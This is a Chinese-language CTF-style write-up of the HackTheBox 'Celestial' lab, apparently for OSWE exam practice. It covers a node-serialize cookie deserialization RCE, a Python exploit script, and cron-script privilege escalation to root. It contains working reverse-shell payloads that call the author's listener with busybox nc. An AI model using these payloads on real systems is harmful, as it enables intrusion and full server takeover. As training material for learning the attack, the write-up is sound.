OSWE Celestial Write-up

本文最后更新于 2026年3月16日 早上

一、靶场详情

靶场名称:

Celestial

靶场地址:

https://app.hackthebox.com/machines/Celestial

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

  1. JS serialize 反序列化 RCE 得到 run 用户权限。
  2. 用户家目录得到旗帜:user.txt。

权限提升(获取管理员旗帜):

  1. 修改计划任务文件提权至 root 用户(pspy 监听)。
  2. 管理员家目录得到旗帜:root.txt。

三、靶场攻击演示

3.1 靶场信息收集

注意: OSWE 考试过程中不需要对靶机进行服务信息收集,考试环境会直接提供相关信息。考试环境通常包含三台靶机:一台是最终需要获取 flag 的目标靶机,一台是与目标靶机环境完全相同的克隆靶机,用于漏洞分析和调试,最后一台是用于运行 PoC 的靶机,以避免因网络原因导致例如 SQL 盲注 等利用过程过慢,可以在第三台靶机上执行 PoC。

对于 HackTheBox 平台靶机我们依然需要执行 nmap 信息搜集。

TCP 端口扫描(端口和端口服务信息):

1
2
3
4
5
6
7
8
sudo nmap -p- 10.129.228.94 --min-rate=2000
PORT STATE SERVICE
3000/tcp open ppp

sudo nmap -p3000 -sCV 10.129.228.94
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

UDP 端口扫描(端口和端口服务信息):

1
2
# 扫描未发现可利用 UDP 端口
sudo nmap -p- -sU 10.129.228.94 --min-rate=2000

由此得出结论:

系统为 Linux 环境,仅开放 HTTP 服务。

3.2 渗透测试突破边界

3.2.1 JS serialize 反序列化 RCE

访问系统 HTTP(3000) 服务,起始访问为显示 404 页面,刷新页面再次访问显示正常。

起始访问

刷新访问

尝试目录枚举未发现有价值信息,nmap 枚举得知系统使用的为 nodejs,服务端大概率运行着 js 代码,抓取访问的数据包,发现请求头 cookie 中有一串 base64 字符串,解码后为一组 json 数据。

修改 cookie 字段可导致服务器 500 错误,在报错信息得知服务端通过 unserialize 执行反序列化。

js serialize 反序列化 payload 有很多,可参考如下链接:

1
https://hacktricks.wiki/zh/pentesting-web/deserialization/index.html#node-serialize

1
2
3
{
"rce": "_$$ND_FUNC$$_require('child_process').exec('busybox nc 10.10.16.145 4444 -e /bin/bash', function(error, stdout, stderr) { console.log(stdout) })"
}

只需要将 payload 写入 cookie profiles 字段并转码为 base64,发送即可获得系统反弹 shell。

升级为交互式 shell。

1
2
3
4
5
6
7
bash
python -c 'import pty;pty.spawn("/bin/bash")'
Control + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 33 columns 157

3.2.2 用户旗帜获取

3.2.3 源码分析

注意: OSWE 考试中不允许将代码下载至本地,考试中需要在调试主机分析代码。

js serialize 反序列化漏洞:

1
/home/sun/server.js

漏洞分析: 程序会从 Cookie 中读取 profiles 字段并进行 Base64 解码,随后直接调用 node-serialize 的 unserialize() 进行反序列化,但未进行任何安全校验。node-serialize 在反序列化时如果检测到 _$$ND_FUNC$$_ 标记,会通过 eval 执行其后的 JavaScript 代码。攻击者可以构造包含恶意函数的序列化数据并进行 Base64 编码,通过 profiles Cookie 传递给服务器。当服务器反序列化该数据时,恶意代码会被执行,从而造成远程代码执行(RCE)。

注意: 区分 payload 中的 _$$ND_FUNC$$_require_$$ND_FUNC$$_function(){}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 使用 _$$ND_FUNC$$_require payload 相当于直接执行了函数的调用
{"rce":"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })"}
// 反序列化相当于执行了
eval("(require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }))")
// 实际代码会直接执行反弹 shell
require('child_process').exec(
'ls /',
function(error, stdout, stderr) {
console.log(stdout)
}
)

// 使用 _$$ND_FUNC$$_function(){} payload 相当于传入了一个函数,需要添加括号进行调用

// 不添加括号
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
// 反序列化相当于执行了函数的定义
eval("(function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }) })")
// 实际执行结果只是创建了一个函数对象,并不会执行函数体
var f = function(){
require('child_process').exec('ls /', function(error, stdout, stderr) {
console.log(stdout)
})
}

// 添加括号则可执行反弹 shell
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}
// 反序列化相当于执行了函数的调用
eval("(function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }())")
// 这样实际就调用了定义的函数可以执行反弹 shell
(function(){
require('child_process').exec(
'ls /',
function(error, stdout, stderr) {
console.log(stdout)
}
);
})()

注意: OSWE 考试要求考生手动编写漏洞利用的自动化脚本,并通过执行脚本实现一键 RCE。为了减少出错的可能,建议脚本尽量保持简洁。在 Kali 上使用 nc 监听反弹 shell,随后运行自动化脚本,即可获得目标靶机的 shell。

1
2
3
# kali
nc -lvnp 4444
python3 rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests


def main():
target = "http://10.129.228.94:3000/"
header = {
"Cookie": "profile=eyJyY2UiOiJfJCRORF9GVU5DJCRfcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2J1c3lib3ggbmMgMTAuMTAuMTYuMTQ1IDQ0NDQgLWUgL2Jpbi9iYXNoJywgZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSB7IGNvbnNvbGUubG9nKHN0ZG91dCkgfSkifQ=="
}
requests.get(url=target, headers=header)


if __name__ == "__main__":
main()

3.3 提权获取系统最高权限

3.3.1 修改计划任务脚本提权至 root 权限

上传 pspy 工具监控系统进程,发现系统会定时以 root 权限执行 script.py 脚本,且该脚本当前用户是可修改的,将反弹 shell 写入脚本中,等待任务执行再次执行脚本即可得到系统 root 用户权限。

1
echo -e "import os\nos.system('busybox nc 10.10.16.145 4444 -e /in/bash')" > script.py

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSWE Celestial Write-up
https://www.f0nesec.top/2026/03/14/oswe-celestial/
作者
F0ne
发布于
2026年3月14日
许可协议